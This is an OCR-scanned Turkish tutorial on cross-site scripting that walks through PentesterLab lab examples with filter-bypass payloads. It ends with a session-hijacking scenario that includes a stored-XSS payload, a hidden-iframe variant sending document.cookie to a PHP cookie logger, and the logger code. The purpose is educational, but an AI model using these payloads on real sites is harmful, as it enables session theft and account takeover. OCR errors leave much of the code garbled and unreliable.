aleRt veya alert de yazsaniz farketmeyecek ikisinide engelleyecektir.

Example 4

Ornek4 de ise simdiye kadar denedigimiz 3 payloadin bu érnekte calismadigini gérecegiz.
Payloadlarimizi yazip html kaynak kodlarina baktigimizda asagida bulunan resimdeki gibi bir sonug
aldigimizi gértyoruz. Sayfanin kaynak koduna baktigimizda sadece “error” ibaresini gorecegiz.
Buyuk olasilikla gelistirici name parametresine verilen degerde script veya alert gibi 6zel kelimeleri
filtrelemistir. Ve bu kelimeler kullanildildigi taktirde die() veya error() gibi fonksiyonlarla calisan
betigi sonlandirir. Bu noktada bizim yazacagimiz kod bu kelime(ler)i icermeyen bir payload
yazmaktir. Bunu da html taglarindaki attributleri kullanarak yapacagiz. Yani bir html etiketinin
atributtune js kodu yazacagiz. Ornegin séyle; <img src=x onerror=alert (1)> gorduginiz tzere hig
script kelimesini kullanmadik. Bu payloadda src adinda bir imaj yuklemeye calistik eger yukleyemez,
bir hata meydana gelir ise onerror attributune verecegimiz alert ile ekrana 1 yazacak. Payloadimizi
denedigimizde ¢alisacagini gorecegiz. Alternatif olarak <svg src=x onerror=alert (1)> ¢alisacaktir
hatta benzer yapiya sahip baska html etiketleri de ¢alisacaktir.

Hello <img src=x onerror=alert(l)>
<pr&copy: PentesterLab 2013</p>

Sayfanin kaynak koduna bakildiginda payloadimizin html syntaxina uygun oldugu gorulecektir.
Bundan dolayi sorunsuz bir sekilde calisti. Yazacagimiz butun payloadlarda bunu dikkate almaliyiz.
ilgili dilin syntaxina uygun olarak yazilacak ki payload calisabilsin.



Iser@debian: /v
reguire

<?php  echo $_GET["name']:
hp reguire_once '../footer.php';

Simdi kaynak kodu inceleyelim. Evet gordugunuz gibi aynen dusundugumuz gibi Regex ifadesi
kullanilarak script kelimesinin name parametresine verilmesi durumunda die komutu ile sayfanin
geri kalanini calistirmayacak sekilde error verdirilmis.

Example 5

Artik tahmin edeceginiz gibi bir sonraki drnekte simdiye kadar denedigimiz hicbir payload
calismayacaktir. Normal bir payload yazdigimizda énceki 6rnekte oldugu gibi error ifadesini ekrana
basiyor. Muhtemelen yine 6zel keywordlerden biri engellenmistir. Su ana kadar hep alert () ile
ekrana birseyler basmaya calistik ama tek kod bu degil. Benim bildigim 2 komut daha var. Birincisi
ekrana hem alert gibi pencere a¢ip ayni zamanda kullanicidan girdi alan prompt (), bir de
kullanicidan onay isteyen confirm() kodu. Bunlar disinda baska popup boxlar da olabilir, benim
bildigim bu tGc¢u. O zaman bu durumda payloadimiz nasil olacak?

<script>prompt (1)</script>Veya <script>confirm(1l)</script> her iki payload da sorunsuz
calisacaktir.

http:192 168 46 1285 s/exampled. php?name=%3Cscript®%3Epromptiwindow location. href)%%3Ciscript¥3E

[ Ok Cancel

Ctrl+u ile sayfanin kaynak kodlarina bakalim. Asagida gérdugunuz Uzere yazdigimiz payload script
tagleri arasinda ilgili yere yazilmis. Burda 6nemli olan nokta yazdigimiz payload javascript syntaxini
bozmadan yazilmis olmasidir. Zaten syntaxi bozarsaniz payloadiniz ¢calismayacaktir. Bu nedenle xss
ararken deneme amacli yazdiginiz payloadlari sayfanin kaynak kodundaki degisimlerden takip

ederek daha isabetli atislar yapabilirsinizi.

Hello
<2oript>

var 5z= "'»><"musana":
</ soript>

Simdi php tarafindaki kaynak kodlari gérelim;



Hello <?php  echo $_GET["name'];

<7php reguire_once '../footer.php';

preg match () fonksiyonunun yaptigi sudur; Eger birinci parametredeki deger, ikinci parametredeki
veri icerisinde geciyor ise true doner, gecmiyor ise false ddoner. Bu drnekte ilk parametremiz alert
kelimesi oluyor ve \i ifadesinden dolayi (harf duyarliligi olmaksizin) alert kelimesinin, get metoduyla
alinan name parametresindeki deger icerisinde gecmesi durumunda fonksiyonumuz true
dénecektir.

Example 6

Oncellikle name parametresine “<’> su 4 6zel karakteri girelim bakalim ne olacak. Sayfanin kaynak
kodundan anlasilacagl Uzere herhangi bir karakter filtrelenmesi s6z konusu degil. Ctrl+u yaparak
kaynak koda baktigimizda name parametresine girdigimiz her deger script tagleri arasinda bulunan

a degiskenine ataniyor.

Hello
<2oript>

var 5z= "'»><"musana":
</ soript>

Bu durumda nasil bir payload gelistirebiliriz? Dustinelim biraz... Oncellikle acilmis olan script tagini
kapatalim. Daha sonra kendimiz bir script tagi acip alert ile ekrana uyariyi bastiktan sonra tagi
kapatalim. Bazilariniz kapatmaya gerek yok zaten kendisi kapatmis diyebilir hakli olaraktan ancak
sayfanin kaynak koduna baktiginizda “ ve ; isaretleri bize sorun olusturacagindan dolay! kendimiz
kapatmamiz gerekecektir. Uzun lafin kisasi payloadimiz;
</script><script>alert(1)</Script>§ek“nd8(ﬂacakﬂr

hitp:i192.168.46.128kss/exampled.php?name=%3C/script% 3E%3Cscript® e 3Ealert(window location. href)% 3C/script% 3E

Bu 6rnegin kaynak koduna bakmaya gerek yok ¢cunku herhangi server side (php) tarafindan bir
filtreleme uygulanmamistir. Sadece js kullanilmistir. Sayfanin kaynak koduna bakip ne tur bir
filtreleme yapildigini goérebilirsiniz.



Example?7

Sira geldi 7. Ornegimize bu 6rnek extrem bir 6rnek olabilir. Bu 6érnegimizde digerlerinden farkli
olarak 6nce kaynak koduna bakip ona gore payload gelistirecegiz. Bu noktada; E biz nerden bilelim
sitenin kaynak kodlarini diyebilirsiniz? (Demeyin!) Soyle bir durum var. Bir ¢cok acik kaynak template,
hazir scriptler, cms ler var. Eger hedefimiz bu public olan bir sistem/script kullaniyorsa o zaman
kaynak kodlarini indirip inceleyip ona gore payload gelistirebilirsiniz. Durum bdyle oldugu icin
sadece tek bir sitede degil ilgili scripti kullanan her sitede payloadiniz calisacaktir.

hitp:iM192.168 46 128sslexampled.php?name=%3C/script%% 3E%3Cscript¥% 3Ealert(window location. href)% 3C/script% 3E

Php de glvenlik adina c¢ok Onemli olan fonksiyonlardan biri de htmlentities ()
fonksiyonudur. Bu fonksiyon kendisine verilen her degerin ic¢inde bulunan (<, ", >)
ifadelerini sirasiyla (&lt; , &quot; , &gt;) ifadelerine dontstiriir. Hatta 2.
parametre olarak ENT QUOTES dederini verirseniz ' (tek tirnagi da) engellemis
olursunuz. Tek tirnak ise &#039; formatina doniisiir. Yani htmlentities (S$str,

ENT QUOTES) seklinde kullanirsaniz (<, ', ", >) bu 4 karakteri encoding
ettiginizden artik 6zel anlamlarini yitirecedinden bu karakterleri barindiran

zararli kodlar calismayacaktir. Bu saldirganin isini c¢ok ama c¢ok zorlastirir. XSS
ile veri aldigimiz inputlardaki dederi bu fonksiyondan gegirirsek cok biyik bir
olasilikla xss saldirisindan korunmus olacagiz. Bu nedenle bu fonksiyon
gelistiriciler ig¢in bi’ nimettir. Ancak bazi nadir vardir ki bu fonksiyon
kullanilmasina radman xss zaafiyeti meydana yine meydana gelmektedir. Siradaki
6rnegimizde iste bu nadir olan durumlardan birini gdrecegiz.

Simdi bu kadar bilgiyi neden paylastim? Cunku siradaki challangemizda inputtan alinan deger bu
fonksiyondan gecmistir. Ancak tek tirnagi da engellemek icin opsiyonel olarak 2. Parametre de
alabilecegini sdylemistik bu challangemizda 2. Parametre belirtiimemistir. Bu da su anlama
gelmektedir; ‘ tirnak kullanabiliriz. Ve bir ¢ok gelistirici bu fonksiyonu kullandigi zaman 2.
Parametreyi belirtmez bu da saldirganin isini cok kolaylastirmaktadir. Asil mevzumuza gelelim simdi.
Name parametresine 6zel karakterlerimizi girip sayfanin kaynak koduna bakip meydana gelen
degisimi gdzlemleyelim.

Hello

<script>

var $a= '&lt:;'&gt;E&qguot;':
</f=oript>

Gordugunuz gibi sirasiyla <, >, “ karakterlerimiz; salt; , sgt; , squot; karakterlerine
donusturalerek guvenlik saglanmaya calisilmis AMA dikkat ettiyseniz ‘(tek tirnak) karakteri oldugu
gibi kaldi. Bu bizim i¢in ¢cok dnemli! Bir diger 6nemli olan nokta ise; name parametresine yazdigimiz
degerin zaten <script> tagleri arasinda islenecek olmasidir. Boylelikle <, > karakterlerini
kullanmamiza gerek kalmayacak. Ote yandan sayfanin kaynak koduna baktigimizda yazdigimiz
degerin JS kisminda a diye bir degiskende ‘(tek tirnaklar) arasinda tutuldugunu goérecegiz. Simdi



soyle dustunelim ekrana alert vermek icin dncellikle js tarafinda olan a degiskeninin alacagi degerin *
isaretini kapatalim. Daha sonra ;(noktal virgul) karakterimizi yazarak ilgili kod satirini sonlandiralim.
Simdi alert ifademizi yazabiliriz. Zaten JS kodunda 6nceden var olan sondaki ‘ isaretinden kagmak

icinde // karakterlerini kullanarak pasif ediyor. Yani séyle bir sey oldu; Payload:musana’ ;alert (1) //

hitp:/i192 1658.46.128ss/example? . php?name=musana%:27 alert{window location.hrefyf

Zaten payloadimizi js de ilgili yere yazdigimizda herhangi bir syntax hatasinin olmadigini gérecegiz.

Hello
<script>

var £a= '"musana'ralert(l)//":
</=cript>

Bir sonraki drnegimizde bizi bir input karsiliyor ancak bizim input ile isimiz olmayacak. Sayfanin
kaynak kodlarina baktigimizda form etikemizin action niteliginde sayfamizin oldugunu goérecegiz. Bu
nedenle sayfamizin url yapisini minciklayacagiz biraz. Ctnkt url kismina ne yazilir ise form etiketnin
action niteliginin degeri olarak ataniyor. O halde asagidaki payload ¢alisacaktir.

/" onmouseover="alert (1)

/" ile action niteligimizin degerini kapadik. Daha sonra onmouseover adinda bir js eventi tanimladik
ancak payloadin sonuna “(¢ift tirnak) atmadik cunku tirnagr kendisi tamamlayacak.

<form action="/xss3/examples.php/" ommonseover="alert(l)" method="FO5T">
YTour name:<inpot type="text" name="nams" />
<input type="submit”™ name="submit"/>

Kaynak koda baktigimizda payloadimizin cuk diye oturdugunu goruyoruz zaten. Asagidaki resimde
ise php kaynak kodlarini géruyoruz. Htmlentities fonksiyonu kullanilarak input'tan gelen zararl
karakterler filtrelenmis. Ancak form etiketinin action niteliginde pup_serr kullaniimis. Yani formdan
gonderilecek herhangi bir very ayni sayfada islenecek. Bizde tam olarak bu kismi kullanarak payload
gelistirdik.

ddebian: fwarsuwwsxssE cat examples.php

1]
require_once '../header.php’;
if (isset($_POST["name"131) i

echo "HELLO ".htmlentities($_POST['name"]);

irm action="<?php echo %_- : ?x" method="POST'">
four name: <input tupe="te: s
<input types

<?php

require_once '../footer.php';




BONUS(Siz Céziin):

Simdiye kadar gérdugumuz 6rnek caselere dayanarak bu 6rnegi cozmenizi bekliyorum. Cunka
yukaridakileri okuyup anladiysaniz biraz kafa yorarak rahatlikla zafiyeti ortaya ¢ikaracak payloadi
yazabilirsiniz. Payloadlari yorum kismina bekliyorum :)

<?php

Srequest = $ REQUEST['istek'];

Sfiltrele = array('<', '>', '"");

# htmlentities () fonksiyonunun default kullanimi
# 3. ve 4. satirdaki islemleri icra eder.

Srequest = str replace(Sfiltrele, "", S$Srequest);

?>

<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<title>XSS</title>
</head>
<body>
<script>
var value;
function setValue () {
if (false) {
value = <?php echo S$request 2>

}
</script>
</body>
</html>

Ornek bir senaryo

Simdiye kadar gérdulerimiz ile bir sistemde olan xss zafiyetini ortaya ¢ikarmak icin ne tur/nasil
payloadlar gelistirecegimizi gorduk. Peki iyi guzel de bir sitede xss zafiyetinin olmasi neyi ifade
ediyor tam anlamiyla? Neden bu kadar tehlikeli? Bug bounty programlarinda neden para veriliyor
bu zafiyete? Saldirganlar bu zafiyeti nasil istismar ediyor? Simdi bu sorulara uygulamali cevap
verme zamani. Ornek bir site Gzerinde bulacagimiz bir xss zafiyeti ile kullanicin oturum bilgilerinin
nasil ele gecirilecegini gorecegiz.

Oracle ve php ile CRUD(Create, Read, Update, Delete) islemlerini yapan basit bir web uygulamasi
yazmistim zamaninda 6rnek senaryamozu bu uygulama Uzerinde anlatacagim. Scripti buradan
indirebilirsiniz. (Scriptin ¢calismasi icin oracle express edition programini kurmaniz gerekmektedir.)

Burdan sonrasini video ile anlatmak daha iyi olacak sanirim. Yazi zaten yeterince uzun ne siz sikilin
ne ben yorulayim :)


https://github.com/musana

Videoda herseyi acik bir sekilde gostermeye calistim. Akliniza takilan bir yer olursa veya scripti
calistirmada sorun yasarsaniz yorum boélimune yazmaniz yeterli.

Video Baglantisi:

SESSION HIJACKING USING XSS - MUSANA.NET

Videoda tam olarak ne yaptigimi acik bir sekilde yazmaya calistim. Kullandigim kodlari paylasip kisa
bir 6zet gectikten bu bélimud sonlandiracagim.

Oncellikle hedef sistemin kayit ol sisteminde stored xss zafiyeti bulduk ve istismar etmek icin kayit
ol inputlarindan birine asagidaki payloadi yazdik. Payloadimiz veri tabanina kayit edildigi icin giris
yapan herkes oturum bilgileri ile beraber bizim istedigimiz adrese yonlendirilecekti.

<script>location.href="http://127.0.0.1/session log/snif.php?x="+document cookie+"\

n"</script>

snif.php dosyamizi da paylasalim. Sadece gelen x parametresindeki degeri 10g. txt dosyasina
yaziyor, that's that.

<?php

Scookie = $ GET['x']; // get metoduyla x parametresinin dederini cookie degiskenine
atatik.

$f = fopen("log.txt","a"); // log.txt adinda bir metin belgesini a izniyle actik. a:
yoksa olustur, varsa sonuna ekle.

fwrite ($f, Scookie."\n"); // log.txt dosyamiza cookie deJerlerini yaziyoruz.

fclose ($f); // Dosyamizi kapattik.

?>

Ancak sisteme giris yapan herkes yonlendirildigi icin bu durumun ¢cok anormal olduklarini
farkedeceklerdi. Kullanicilara sezdirmeden yapabilmek icin farkli bir payload kullandik.
Kullandigimiz paylaad; src niteligi saldirganin kullandigl sunucunun adresi olan bir iframe penceresi
olusturuyordu ve style olarak verdigimiz display:none degeri sayesinde bu iframe sayfada hicbir
sekilde gorunmuyordu. Kullanicilarin gézinde hersey normaldi ancak sisteme giris yapan herkes
src niteligindeki baglantiya oturum bilgileri ile beraber request génderiyordu.(Scriptte jquery
kutiphanesinin kullanildigini hatirlatmakta fayda var. jquery kullaniimasaydi asagidaki payload
calismayacakti. Sadece js kullanilarak da ayni islem yapilabilir.)

<iframe id="ifrm" src="x" style="display:none"></iframe>

<script>$ (document) .ready (function () {
S("#ifrm") .attr ("src",

("http://127.0.0.1/session log/snif.php?x="+document.cookie));

1) ;
</script>

Bdylece sisteme giris yapan butun kullanicilarin oturum bilgilerini elde etmis olduk. Buyuk bir sitede
bdyle bir zafiyet buldugunuzu distunsenize ?


https://www.youtube.com/watch?v=wFP9nRVhkBU

SON SOz

Bu yazida elimden geldigi kadar konuyu temelden alarak anlatmaya calistim. Amacim, xss
konusunda bu yaziyi okuyanlari belli bir seviyeye getirmektir. Bir gelistiricinin kodlayacagi sistemde
bdyle bir zafiyet birakmamasi icin gerekli dnlemleri almasini veya bir guvenlik arastirmacisinin
ezbersiz bir sekilde payload gelistirebilecek bir seviyeye gelmesini hedefledim. Bu yaziyi okuduktan
sonra sakin xss zafiyetini tam 6grendim hissine kapilmayin! Bu konu ¢ok genis ve surekli guncel
tutulmasi gerekir. Bu zafiyeti istismar etmek icin bircok metod ve binlerce xss payloadi mevcut. Ben
sadece zafiyetin mantalitesini anlatip birka¢ case ve bir 6rnek senaryo ile pekistirmeye calistim.
Faydasi dokunduysa sizlere ne mutlu bana.

Google'da xss zafiyetinin ne kadar tehlikeli oldugunu bildiginden egitici bir challenge hazirlamis.
Belki ugrasmak isteyabilirsiniz. Ayrica Black Hat Asia '15 konferansinda sunulan dom based xss ile
ilgili pdf dokimumanini da buradan incelemek isteyebilirsiniz.

Bu arada yazida gordugunuz eksiklikleri, hatal bilgileri veya yazim yanlislarini bildirirseniz minnettar
kalirim.

Guvenlik konusu sizde bilirsiniz ki strekli gtincel tutulmasi gerekilen bir konudur. Var olan
zafiyetlere yeni teknikler eklenmenin yaninda yeni zafiyet turleride gelistirilmektedir/bulunmaktadir.
Bu nedenle kendinizi bu konularda guncel tutmaniz ve motivasyonunuzu kaybetmememiz
temennisiyle. Saglicakla kaliniz.


https://github.com/foospidy/payloads/tree/master/other/xss
https://xss-game.appspot.com/
https://www.blackhat.com/docs/asia-15/materials/asia-15-Johns-Client-Side-Protection-Against-DOM-Based-XSS-Done-Right-(tm)

